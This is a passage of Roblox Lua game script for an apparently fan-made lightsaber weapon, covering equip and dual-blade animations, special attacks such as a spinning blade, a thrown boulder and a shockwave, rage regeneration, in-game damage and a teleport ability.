hl.C1 = cf(0.5,1.75,0)
return hl,hr
end
end
Anims = {}
Anims.Equip = function(i1,i2,is)
Anim.Act = true
for i=i1,i2,is do
RW.C1 = ca(mr(40*i),mr(20*i),0)
RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
wait()
end
H1w.Part0 = Ra
H1w.Part1 = H1
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(180),0) H1w.C1 = ca(mr(-90),0,0)
Sound(Sounds.Slash,1,1)
for i=i1,i2,is do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
LW.C1 = ca(mr(-80*i),mr(40*i),0)
LW.C0 = cf(0.6*i,0.3*i,-1*i)
RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
wait()
end
Sound(Sounds.SaberLightUp,3,1)
for i=i1,i2,is do
Blad1w.C0 = cf(0,0.95+(0.95*i),0)
Blad2w.C0 = cf(0,0.95+(0.95*i),0)
M1.Scale = Vector3.new(1,1*i,1)
M2.Scale = Vector3.new(1,1*i,1)
Blad1.Transparency = 0.9-(1*i)
Blad2.Transparency = 0.9-(1*i)
Glow1w.C0 = cf(0,0.95+(0.95*i),0)
Glow2w.C0 = cf(0,0.95+(0.95*i),0)
GM1.Scale = Vector3.new(1,1*i,1)
GM2.Scale = Vector3.new(1,1*i,1)
Glow1.Transparency = 1.05-(0.5*i)
Glow2.Transparency = 1.05-(0.5*i)
wait()
end
Anim.Act = false
end
Anims.UnEquip = function(i1,i2,is)
Anim.Act = true
Sound(Sounds.SaberLightUp,3,1)
for i=i1,i2,is do
Blad1w.C0 = cf(0,0.95+(0.95*i),0)
Blad2w.C0 = cf(0,0.95+(0.95*i),0)
M1.Scale = Vector3.new(1,1*i,1)
M2.Scale = Vector3.new(1,1*i,1)
Blad1.Transparency = 0.9-(1*i)
Blad2.Transparency = 0.9-(1*i)
Glow1w.C0 = cf(0,0.95+(0.95*i),0)
Glow2w.C0 = cf(0,0.95+(0.95*i),0)
GM1.Scale = Vector3.new(1,1*i,1)
GM2.Scale = Vector3.new(1,1*i,1)
Glow1.Transparency = 1.05-(0.5*i)
Glow2.Transparency = 1.05-(0.5*i)
wait()
end
Sound(Sounds.Slash,1,1)
for i=i1,i2,is do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
LW.C1 = ca(mr(-80*i),mr(40*i),0)
LW.C0 = cf(0.6*i,0.3*i,-1*i)
RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
wait()
end
H1w.Part0 = Torso
H1w.Part1 = H1
H1w.C0 = cf(0.4,-0.7,0.5) *ca(0,0,mr(45))
H1w.C1 = cf(0,0,0) *ca(0,0,0)
for i=i1,i2,is do
RW.C1 = ca(mr(40*i),mr(20*i),0)
RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
wait()
end
Anim.Act = false
end
Anims.ChangeToDual = function(i1,i2,is)
Anim.Act = true
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
wait()
end
Sound(Sounds.SaberHit,1,1)
Sound(Sounds.SaberLightUp,2,0.5)
H1w.Part0 = La
H1w.Part1 = H1
H2w.Part0 = Ra
H2w.Part1 = H2
H2w.C1 = ca(mr(-90),0,0)
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
wait()
end
Anim.Act = false
end
Anims.ChangeToSingle = function(i1,i2,is)
Anim.Act = true
for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
wait()
end
H1w.Part0 = Ra
H1w.Part1 = H1
H2w.Part0 = H1
H2w.Part1 = H2
H2w.C1 = ca(0,0,0)
H2w.C0 = cf(0,-0.8,0) *ca(mr(180),0,0)
Sound(Sounds.SaberLightUp,2,0.5)
Sound(Sounds.SaberHit,1,1)
for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
wait()
end
Anim.Act = false
end
Anims.RotorBlade = function(i1,i2,is,RaigCost)
local lolpos = (Torso.Position - mouse.hit.p).unit
local allx = (lolpos.y*80)-10
local ally = (((mouse.X-(mouse.ViewSizeX/2))/mouse.ViewSizeX)*1.8)*-90
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
Torw.C1 = ca(0,mr(-90*i),0)
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed)
Hum.WalkSpeed = Hum.WalkSpeed + (8*Speed)
Left = true
Right = true
Dash(Blad1,2/Speed,nil,2)
Dash(Blad2,2/Speed,nil,2)
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
local soundtime = 0
for i=i1,i2*4,is do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else
soundtime = soundtime + 1 end
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(360*i),0)
wait()
end
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed)
Hum.WalkSpeed = Hum.WalkSpeed - (8*Speed)
Left = false
Right = false
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
Torw.C1 = ca(0,mr(-90*i),0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
-------
Anims.Boomerang = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
local lolpos = (Head.Position - mouse.hit.p).unit
local allx = (lolpos.y*80)-10
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
Torw.C1 = ca(0,mr(-60*i),0)
H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed)
Left = true
Right = true
Dash(Blad1,3.8/Speed,nil,2)
Dash(Blad2,3.8/Speed,nil,2)
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
local soundtime = 0
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else
soundtime = soundtime + 1 end
H1w.C0 = cf(10*i,-1.1+(-15*i),0) *ca(mr(90),mr(720*i),0)
wait()
end
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else
soundtime = soundtime + 1 end
H1w.C0 = cf(10+(-20*i),-16.1,0) *ca(mr(90),mr(720*i),0)
wait()
end
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else
soundtime = soundtime + 1 end
H1w.C0 = cf(-10+(10*i),-16.1+(15*i),0) *ca(mr(90),mr(720*i),0)
wait()
end
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed)
Left = false
Right = false
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
Torw.C1 = ca(0,mr(-60*i),0)
H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
Anims.BoulderForce = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
local bould = p(workspace,"Block",4,4,8,true,true,0,0,"Medium stone grey")
bould.Name = "Boulder" bould.Material = "Concrete"
local rm = RockMesh:Clone() rm.Scale = Vector3.new(3,3,4.8) rm.Parent = bould
bould.Elasticity = 0 bould.Friction = 2 bould.CFrame = cf(Torso.Position.x+
(math.random(-14,14)),Torso.Position.y-5,Torso.Position.z+(math.random(-14,14)))
*CFrame.Angles(math.random(-33,33)/10,math.random(-33,33)/10,math.random(-33,33)/
10)
local warpdes = true
local bpos = bould.Position
Sound(Sounds.Cast,0.95,0.8)
coroutine.resume(coroutine.create(function() repeat
Functions.BrickWarpDesign(bould,9) wait() until warpdes == false end))
for i=0,1,0.08 do bould.CFrame = CFrame.new(bpos.x,bpos.y,bpos.z) +
Vector3.new(0,20*i,0) wait() end wait(1) bould.CFrame =
CFrame.new(bpos.x,bpos.y+20,bpos.z) bould.CFrame = cf(bould.Position,mouse.hit.p)
bould.Anchored = false wait() bould.Velocity = bould.CFrame.lookVector
*(math.random(180,350)) bould.Touched:connect(function(hit)
Functions.BoulderTouch(hit,bould) end)
wait(0.5)
warpdes = false
game.Debris:AddItem(bould,10)
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
Anims.ForceWave = function(i1,i2,is,RaigCost)
local Hit, hitpos = rayCast(Torso.Position,((Torso.Position -
Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
if Hit == nil then Anim.Act = false return end
MinusRage(RaigCost)
Anim.Act = true
lh2,rh2 = FeetWeld(true,Lh,Rh)
local bp2 = Instance.new("BodyPosition",Torso)
bp2.maxForce = Vector3.new(0,math.huge,0)
Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
DebounceSpeed = DebounceSpeed + (1.1*Speed)
bp2.position = Torso.Position + Vector3.new(0,25,0)
Dash(Blad1,2.5/Speed)
Dash(Blad2,2.5/Speed)
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0,BladeColor) wav.Anchored =
true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
wavm.Scale = Vector3.new(15,6,15)
local cff = Torso.CFrame - Vector3.new(0,0,0)
coroutine.resume(coroutine.create(function()
Dash(Blad1,4/Speed)
Dash(Blad2,4/Speed)
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
H1w.C1 = ca(mr(-90+(40*i)),0,0)
wait()
end for i=i1,i2*3,is*Speed do H1w.C1 = ca(mr(-50),mr(360*i),0) wait() end end))
Sound(Sounds.Cast,0.45,1) for i=i1,i2*5,is do Functions.BrickWarpDesign(Torso,13)
wav.CFrame = cff *ca(0,mr(180*i),0) wait() end
for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end wav:Remove()
for i=i2,i1,-is*Speed do
LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
H1w.C1 = ca(mr(-90+(40*i)),0,0)
wait()
end
bp2:Remove()
local bg = Instance.new("BodyGyro",Torso) bg.maxTorque =
Vector3.new(math.huge,0,math.huge)
local bp = Instance.new("BodyPosition",Torso) bp.position = Torso.Position
bp.maxForce = Vector3.new(math.huge,1000000,math.huge)
rpos = math.abs(hitpos.y - Torso.Position.y)
rpos = rpos - 1.2
local tpos = Torso.Position
Hum.WalkSpeed = 0
Hum.PlatformStand = true
Dash(Blad2,1.6/Speed,RingMesh.MeshId)
for i=i1,i2,is do
bp.position = tpos - Vector3.new(0,rpos*i,0)
Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
Torw.C1 = ca(mr(20*i),0,0)
Torw.C0 = cf(0,-0.2*i,-0.2*i)
lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
wait()
end
wait(0.25)
Sound(Sounds.Boom,0.5,1)
Sound(Sounds.EnergyBlast,0.9,1)
Right = true
ShockWave(Torso,50,BladeColor)
wait(1.5)
Right = false
local t2pos = Torso.Position
for i=i2,i1,-is do
bp.position = t2pos - Vector3.new(0,1.5-(1.5*i),0)
Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
Torw.C1 = ca(mr(20*i),0,0)
Torw.C0 = cf(0,-0.2*i,-0.2*i)
lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
wait()
end
DebounceSpeed = DebounceSpeed - (1.1*Speed)
bp:Remove()
bg:Remove()
Hum.PlatformStand = false
Hum.WalkSpeed = RealSpeed
Torw.C1 = ca(0,0,0)
Anim.Act = false
Lh,Rh = FeetWeld(false,lh2,rh2)
end
Anims.DualSpin = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
Anim.Act = true
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 = ca(mr(-90-
(60*i)),0,mr(0*i))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 = ca(mr(-90+(-
30*i)),0,0)
LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed) Right = true Left = true
Dash(Blad1,2.6/Speed,nil,2) Dash(Blad2,2.6/Speed,nil,2) local x,y,z =
Neck.C0:toEulerAnglesXYZ()
local soundtime = 0
for i=i1,i2*4,is*Speed do if soundtime == 10 then soundtime = 0
Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end Torw.C1 =
ca(0,mr(i*360),0) Neck.C0 = cf(0,1,0) *ca(x,y,z+mr(-360*i)) wait() end Neck.C0 =
cf(0,1,0) *ca(x,y,z)Torw.C1 = ca(0,0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed) for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 = ca(mr(-90-
(60*i)),0,mr(0*i))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 = ca(mr(-90+(-
30*i)),0,0)
LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
wait()
end Right = false Left = false
Anim.Act = false
end
----------------------------
----------------------------
----------------------------
----------------------------
Lh = Torso["Left Hip"]
Rh = Torso["Right Hip"]
Functions = {}
Functions.BoulderTouch = function(hit2,bould)
print(bould.Name)
for i,v in pairs(workspace:GetChildren()) do
if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil and
v:findFirstChild("Humanoid") ~= nil then
if math.abs((v.Torso.Position-bould.Position).magnitude) < 11 and
ft(RightDebounce,v.Name) == nil then
Sound(Sounds.Smash,1,1)
Dmgz(v.Humanoid,Damage["BoulderForce"])
table.insert(RightDebounce,v.Name)
print(v.Name)
coroutine.resume(coroutine.create(function()wait(DebounceSpeed) local nf =
ft(RightDebounce,v.Name) if nf ~= nil then table.remove(RightDebounce,nf) end end))
end
else
if v ~= bould and v:IsA("BasePart") and v.Anchored == false and
math.abs((v.Position-bould.Position).magnitude) < 11 then v:BreakJoints()
v.Velocity = cf(bould.Position,v.Position).lookVector*10 + Vector3.new(0,10,0) end
end
end -- for
end
Functions.Sparkle = function(bb,scal,si)
if si == nil then si = 1 end
local rand = bb.Position + Vector3.new(math.random(-scal,scal),math.random(-
scal,scal),math.random(-scal,scal))
local np = p(Torm,"Block",0.1,0.1,0.1,false,true,0.1,0.2,BladeColor)
np.CFrame = cf(rand.x,rand.y,rand.z) *ca(math.random(-33,33)/10,math.random(-
33,33)/10,math.random(-33,33)/10)
local dm = DiamondMesh:Clone() dm.Scale = Vector3.new(0,0,0) dm.Parent = np
coroutine.resume(coroutine.create(function()
for i=0,1*si,0.1*si do
dm.Scale = Vector3.new(1*i,1.25*i,1*i)
wait()
end
end))
coroutine.resume(coroutine.create(function()
wait(0.1)
for i=0,1,0.1 do
np.Transparency = i
wait()
end
np:Remove()
end))
end
Functions.BrickWarpDesign = function(bb,scal)
local rand = bb.Position + Vector3.new(math.random(-scal,scal),math.random(-
scal,scal),math.random(-scal,scal))
local mag = (rand - bb.Position).magnitude
local np = p(Torm,"Block",0.1,0.1,mag-3,false,true,0.1,0.2,BladeColor)
np.CFrame = cf(bb.Position,rand)
np.CFrame = np.CFrame + np.CFrame.lookVector*((scal/5)+(mag/2))
coroutine.resume(coroutine.create(function()
for i=0.1,1,0.05 do
np.Transparency = i
wait()
end
np:Remove()
end))
end
Functions.RageRegen = function()
local lostcontrol = false
local hpos = Torso.Position.y + 10
Anim.Move = "RageRegening"
Anim.Act = true
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,1,0,BladeColor) wav.Anchored =
true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
local wavv = 0
wavm.Scale = Vector3.new(5,3.5,5)
wav.CFrame = cf((Torso.CFrame * CFrame.new(0,-2.5,0)).p) *ca(0,mr(wavv),0)
local bp = Instance.new("BodyPosition",Torso)
bp.maxForce = Vector3.new(0,math.huge,0)
Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
bp.position = Torso.Position + Vector3.new(0,10,0)
local bpos = bp.position
coroutine.resume(coroutine.create(function()
lh2,rh2 = FeetWeld(true,Lh,Rh)
if SwordType == "Single" then
for i=0,1,0.1*Speed do
LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
else
for i=0,1,0.1*Speed do
LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
end
local function movezx(i1,i2,is,bp)
if SwordType == "Single" then
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-120+(20*i)),0,0)
LW.C0 = cf(0,0.8,0.7) *ca(0,mr(120+(20*i)),0)
RW.C1 = ca(mr(-120+(20*i)),0,0)
RW.C0 = cf(0,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
lh2.C0 = cf(-0.7,-1.9,0.35)
rh2.C0 = cf(0.7,-1.9,0.35)
bp.position = Vector3.new(bpos.x,(hpos+10)+(3*i),bpos.z)
wait()
end
else
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-110),mr(0),0)
LW.C0 = cf(-0.1,0.8,0.7) *ca(0,mr(120+(20*i)),0)
RW.C1 = ca(mr(-110),mr(0),0)
RW.C0 = cf(0.1,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
lh2.C0 = cf(-0.7,-1.9,0.35)
rh2.C0 = cf(0.7,-1.9,0.35)
bp.position = Vector3.new(bpos.x,(hpos+10)+(3*i),bpos.z)
wait()
end
end
end
local moved = 2
repeat
if Rage >= MaxRage or Anim.key.z == false then break end
if moved == 2 then moved = 1 movezx(0,1,0.025,bp) else moved = 2 movezx(1,0,-
0.025,bp) end
until Rage >= MaxRage or Anim.key.z == false or lostcontrol == true
if SwordType == "Single" then
for i=1,0,-0.1*Speed do
LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
else
for i=1,0,-0.1*Speed do
LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
end
Lh,Rh = FeetWeld(false,lh2,rh2)
wait(0.6)
Anim.Act = false
Anim.Move = "None"
end))
for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end
rpos = 0
Sound(Sounds.Cast,0.8,1)
repeat wait()
local Hit, hitpos = rayCast(Torso.Position,((Torso.Position -
Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
if Hit == nil then lostcontrol = true break end
hpos = hitpos.y if math.random(1,6) == 4 then Functions.Sparkle(Torso,8) end
if math.random(1,3) == 3 then Functions.BrickWarpDesign(Torso,10) end wavv = wavv +
10 Rage = Rage - (RageCost["RageRegening"]*RageIncome)
wav.CFrame = cf(Torso.Position.x,hpos+1.4,Torso.Position.z) *ca(0,mr(wavv),0)
until Rage >= MaxRage or Anim.key.z == false
for i=0.3,01,0.14*Speed do wav.Transparency = i wait() end wav:Remove()
bp:Remove()
Humanoid.WalkSpeed = Humanoid.WalkSpeed + (RealSpeed-4)
end
Functions.Teleport = function(i1,i2,is,RaigCost)
Anim.Act = true
for i=i1,i2,is*Speed do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
local tele = false
local tele2 = false -- for mouse
local mouseact = mouse.Button1Up:connect(function() tele2 = true end)
coroutine.resume(coroutine.create(function() Sound(Sounds.Cast,1.2,1) wait(12) tele
= true end))
local telepos = Torso.Position
local telehit = nil
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0.1,BladeColor) wav.Anchored
= true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
local wavv = 0
wavm.Scale = Vector3.new(3.5,2,3.5)
repeat
local mpos = mouse.hit.p + Vector3.new(0,2,0)
telehit,telepos = rayCast(mpos,((mpos - Vector3.new(0,10000,0)) -
mpos),999.999,Player.Character)
wavv = wavv + 8 Functions.Sparkle(La,3) Functions.BrickWarpDesign(La,4)
if telehit ~= nil then wav.Transparency = 0 wav.CFrame =
cf(telepos.x,telepos.y+1,telepos.z) *ca(0,mr(wavv),0) else wav.Transparency = 1 end
wait() until tele == true or tele2 == true mouseact:disconnect()
